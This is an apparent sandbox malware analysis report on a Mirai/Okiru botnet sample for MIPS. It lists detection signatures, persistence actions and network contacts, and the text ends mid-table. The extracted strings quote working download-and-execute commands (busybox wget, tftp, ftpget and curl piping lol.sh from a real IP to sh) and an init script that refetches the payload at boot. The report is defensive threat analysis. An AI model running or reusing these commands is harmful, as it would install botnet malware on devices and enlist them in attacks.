Linux Analysis Report
mips.nn.elf

Overview

General Information

Sample name: mips.nn.elf
Analysis ID: 1561654
MD5: 7e686bec3bbd9c3399312f5b0d931349
SHA1: 74fd51f26d9d2b5328548bb81cc6f587d4003b4d
SHA256: 2f53992d6504c689c5786b9898624b11c1b8d5e8ebbc4ca9d5f0c4a265f648fd
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru
Score: 80
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Yara detected Mirai
Yara detected Okiru
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: mips.nn.elf Avira: detected
Found strings indicative of a multi-platform dropper
Source: mips.nn.elf String: tmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/login193.143.1.70malloc[start_pid_hopping] Failed to clone: %s
Source: mips.nn.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | shGET /dlr. HTTP/1.0
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.13:40286 -> 154.216.19.139:199
Source: global traffic TCP traffic: 192.168.2.13:59524 -> 193.143.1.70:38242
Sample listens on a socket
Source: /tmp/mips.nn.elf (PID: 5436) Socket: 0.0.0.0:38242 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 38.196.114.209
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 18.239.66.139
Source: unknown TCP traffic detected without corresponding DNS query: 72.216.8.35
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 188.202.164.45
Source: unknown TCP traffic detected without corresponding DNS query: 134.228.7.12
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 149.57.76.61
Source: unknown TCP traffic detected without corresponding DNS query: 185.120.97.244
Source: unknown TCP traffic detected without corresponding DNS query: 38.196.114.209
Source: unknown TCP traffic detected without corresponding DNS query: 222.171.19.31
Source: unknown TCP traffic detected without corresponding DNS query: 92.52.155.130
Source: unknown TCP traffic detected without corresponding DNS query: 136.95.79.244
Source: unknown TCP traffic detected without corresponding DNS query: 203.169.187.216
Source: unknown TCP traffic detected without corresponding DNS query: 18.239.66.139
Source: unknown TCP traffic detected without corresponding DNS query: 72.216.8.35
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 188.202.164.45
Source: unknown TCP traffic detected without corresponding DNS query: 134.228.7.12
Source: unknown TCP traffic detected without corresponding DNS query: 87.242.35.32
Source: mips.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, bootcmd.12.dr, mips.nn.elf.36.dr, custom.service.12.dr String found in binary or memory: http://193.143.1.70/
Source: mips.nn.elf String found in binary or memory: http://193.143.1.70/curl.sh
Source: mips.nn.elf String found in binary or memory: http://193.143.1.70/lol.sh
Source: mips.nn.elf String found in binary or memory: http://193.143.1.70/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/sbi
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: tmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresha
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/mips.nn.elf (PID: 5447) SIGKILL sent: pid: 792, result: successful Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5447) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5447) SIGKILL sent: pid: 1944, result: successful Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5447) SIGKILL sent: pid: 3181, result: successful Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5447) SIGKILL sent: pid: 3185, result: successful Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5447) SIGKILL sent: pid: 5487, result: successful Jump to behavior
Source: classification engine Classification label: mal80.spre.troj.evad.linELF@0/10@0/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/mips.nn.elf (PID: 5436) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/mips.nn.elf (PID: 5436) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 5512) File: /etc/rcS.d/S99system -> /etc/init.d/system Jump to behavior
Source: /usr/bin/ln (PID: 5552) File: /etc/rc.d/S99mips.nn.elf -> /etc/init.d/mips.nn.elf Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/mips.nn.elf (PID: 5436) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5509) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5517) File: /etc/init.d/mips.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5681/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5682/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5683/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5684/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5685/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5740/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5686/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5741/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5281/cmdline Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5717/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5739/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5718/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5719/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5654/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5731/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5655/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5710/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5732/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5656/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5711/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5733/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5712/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5734/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5713/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5735/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5714/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5736/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5715/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5737/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5716/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5738/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5690/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5696/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5653/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5730/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5728/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/1/cmdline Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5729/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5709/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5687/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5688/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5689/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/802/cmdline Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5726/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5578) File opened: /proc/5727/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/mips.nn.elf (PID: 5472) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5507) Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1" Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5510) Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1" Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5513) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/mips.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting mips.nn.elf'\n /tmp/mips.nn.elf &\n wget http://193.143.1.70/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping mips.nn.elf'\n killall mips.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/mips.nn.elf" Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5515) Shell command executed: sh -c "chmod +x /etc/init.d/mips.nn.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5518) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5546) Shell command executed: sh -c "ln -s /etc/init.d/mips.nn.elf /etc/rc.d/S99mips.nn.elf >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 5509) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system Jump to behavior
Source: /bin/sh (PID: 5517) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/mips.nn.elf Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 5525) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 5482) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/mips.nn.elf (PID: 5436) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5509) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5517) File: /etc/init.d/mips.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/mips.nn.elf (PID: 5436) Writes shell script file to disk with an unusual file extension: /etc/init.d/system Jump to dropped file
Source: /tmp/mips.nn.elf (PID: 5436) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 5513) Writes shell script file to disk with an unusual file extension: /etc/init.d/mips.nn.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/mips.nn.elf (PID: 5436) File: /etc/init.d/system Jump to dropped file
Source: /bin/sh (PID: 5513) File: /etc/init.d/mips.nn.elf Jump to dropped file
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/mips.nn.elf (PID: 5436) Queries kernel information via 'uname': Jump to behavior
Source: mips.nn.elf, 5436.1.00007fff24116000.00007fff24137000.rw-.sdmp, mips.nn.elf, 5447.1.00007fff24116000.00007fff24137000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/mips.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mips.nn.elf
Source: mips.nn.elf, 5447.1.00007fa134463000.00007fa134467000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsdFW8FYX
Source: mips.nn.elf, 5436.1.000055f004d68000.000055f004e0f000.rw-.sdmp, mips.nn.elf, 5447.1.000055f004d68000.000055f004e0f000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/mips
Source: mips.nn.elf, 5436.1.000055f004d68000.000055f004e0f000.rw-.sdmp, mips.nn.elf, 5447.1.000055f004d68000.000055f004e0f000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mips
Source: mips.nn.elf, 5447.1.00007fa134463000.00007fa134467000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: mips.nn.elf, 5436.1.00007fff24116000.00007fff24137000.rw-.sdmp Binary or memory string: U/tmp/qemu-open.HOCWng\Tr
Source: mips.nn.elf, 5436.1.000055f004d68000.000055f004e0f000.rw-.sdmp, mips.nn.elf, 5447.1.000055f004d68000.000055f004e0f000.rw-.sdmp Binary or memory string: t-1/qemu-binfmt/mips/usQ
Source: mips.nn.elf, 5436.1.00007fff24116000.00007fff24137000.rw-.sdmp, mips.nn.elf, 5447.1.00007fff24116000.00007fff24137000.rw-.sdmp Binary or memory string: %s/qemu-op
Source: mips.nn.elf, 5436.1.00007fff24116000.00007fff24137000.rw-.sdmp, mips.nn.elf, 5447.1.00007fff24116000.00007fff24137000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mips
Source: mips.nn.elf, 5436.1.00007fff24116000.00007fff24137000.rw-.sdmp, mips.nn.elf, 5447.1.00007fff24116000.00007fff24137000.rw-.sdmp Binary or memory string: panel/wrapper-2.MPDIR%s/qemu-op
Source: mips.nn.elf, 5436.1.000055f004d68000.000055f004e0f000.rw-.sdmp, mips.nn.elf, 5447.1.000055f004d68000.000055f004e0f000.rw-.sdmp Binary or memory string: /qemu-binfmt/mips/usQ
Source: mips.nn.elf, 5447.1.000055f004d68000.000055f004e0f000.rw-.sdmp Binary or memory string: U!/usr/bin/vmtoolsd
Source: mips.nn.elf, 5436.1.00007fff24116000.00007fff24137000.rw-.sdmp Binary or memory string: /tmp/qemu-open.HOCWng

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: mips.nn.elf, type: SAMPLE
Source: Yara match File source: 5447.1.00007fa134400000.00007fa134422000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5436.1.00007fa134400000.00007fa134422000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: mips.nn.elf, type: SAMPLE
Source: Yara match File source: 5447.1.00007fa134400000.00007fa134422000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5436.1.00007fa134400000.00007fa134422000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: mips.nn.elf PID: 5436, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: mips.nn.elf PID: 5447, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: mips.nn.elf, type: SAMPLE
Source: Yara match File source: 5447.1.00007fa134400000.00007fa134422000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5436.1.00007fa134400000.00007fa134422000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: mips.nn.elf, type: SAMPLE
Source: Yara match File source: 5447.1.00007fa134400000.00007fa134422000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5436.1.00007fa134400000.00007fa134422000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: mips.nn.elf PID: 5436, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: mips.nn.elf PID: 5447, type: MEMORYSTR

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
110.175.238.90
 unknown Australia
7545 TPG-INTERNET-APTPGTelecomLimitedAU false
208.149.238.19
 unknown United States
3561 CENTURYLINK-LEGACY-SAVVISUS false
80.169.156.238
 unknown United Kingdom
8220 COLTCOLTTechnologyServicesGroupLimitedGB false
148.92.255.188
 unknown United States
786 JANETJiscServicesLimitedGB false
200.27.250.104
 unknown Chile
6429 TelmexChileInternetSACL false
177.46.50.255
 unknown Brazil
28135 ASSOCIACAONACIONALPARAINCLUSAODIGITAL-ANIDBR false
109.24.110.5
 unknown France
15557 LDCOMNETFR false
103.111.139.243
 unknown Indonesia
136093 FAZNET-AS-IDPTMitraLintasMultimediaID false
42.172.22.159
 unknown China
4249 LILLY-ASUS false
101.51.185.140
 unknown Thailand
23969 TOT-NETTOTPublicCompanyLimitedTH false
19.232.95.113
 unknown United States
3 MIT-GATEWAYSUS false
75.231.11.20
 unknown United States
22394 CELLCOUS false
17.245.36.217
 unknown United States
714 APPLE-ENGINEERINGUS false
191.108.95.179
 unknown Colombia
61317 ASDETUKhttpwwwheficedcomGB false
83.26.135.255
 unknown Poland
5617 TPNETPL false
111.1.129.127
 unknown China
56041 CMNET-ZHEJIANG-APChinaMobilecommunicationscorporationC false
48.142.110.149
 unknown United States
2686 ATGS-MMD-ASUS false
134.25.21.14
 unknown Sweden
47708 SVERIGES-RADIOSverigesRadioABSE false
192.199.136.135
 unknown United States
63068 CROCWEBCA false
206.114.170.56
 unknown United States
701 UUNETUS false
70.165.175.130
 unknown United States
62957 HOSPITALITY-NETWORKUS false
44.191.199.162
 unknown United States
39702 SIT-ASDE false
169.30.217.31
 unknown United States
37611 AfrihostZA false
70.215.181.97
 unknown United States
6167 CELLCO-PARTUS false
38.204.82.51
 unknown United States
9009 M247GB false
158.196.3.1
 unknown Czech Republic
2852 CESNET2CZ false
195.244.201.232
 unknown Gibraltar
8301 GIBTELECOMNETGI false
21.160.3.195
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
142.213.199.96
 unknown Canada
11489 BACICA false
58.181.44.249
 unknown Korea Republic of
17877 NEXG-AS-KRNexGCoLTDKR false
188.245.39.68
 unknown Iran (ISLAMIC Republic Of)
16322 PARSONLINETehran-IRANIR false
37.115.11.203
 unknown Ukraine
15895 KSNET-ASUA false
135.90.92.249
 unknown United States
36351 SOFTLAYERUS false
134.145.175.58
 unknown Netherlands
385 AFCONC-BLOCK1-ASUS false
24.203.12.42
 unknown Canada
5769 VIDEOTRONCA false
143.169.40.110
 unknown Belgium
2611 BELNETBE false
220.92.204.137
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
163.215.189.68
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
124.69.136.101
 unknown China
4808 CHINA169-BJChinaUnicomBeijingProvinceNetworkCN false
12.161.205.248
 unknown United States
7018 ATT-INTERNET4US false
18.80.36.235
 unknown United States
3 MIT-GATEWAYSUS false
97.153.83.33
 unknown United States
6167 CELLCO-PARTUS false
150.70.54.185
 unknown Japan 36421 AS-TRENDMICRO-COMUS false
102.196.43.20
 unknown unknown
36926 CKL1-ASNKE false
196.34.128.167
 unknown South Africa
3741 ISZA false
187.141.68.95
 unknown Mexico
8151 UninetSAdeCVMX false
56.199.179.130
 unknown United States
2686 ATGS-MMD-ASUS false
28.8.120.160
 unknown United States
7922 COMCAST-7922US false
205.154.14.81
 unknown United States
2920 LACOEUS false
145.245.115.196
 unknown Switzerland
2047 ASN-ROCHE-BASLEGlobalcorporateIPnetworkCH false
90.56.12.234
 unknown France
3215 FranceTelecom-OrangeFR false
61.225.171.223
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
43.27.90.166
 unknown Japan 4249 LILLY-ASUS false
143.153.251.253
 unknown United States
385 AFCONC-BLOCK1-ASUS false
165.243.132.153
 unknown Korea Republic of
4668 LGNET-AS-KRLGCNSKR false
137.74.55.109
 unknown France
16276 OVHFR false
115.171.161.29
 unknown China
4847 CNIX-APChinaNetworksInter-ExchangeCN false
195.129.242.69
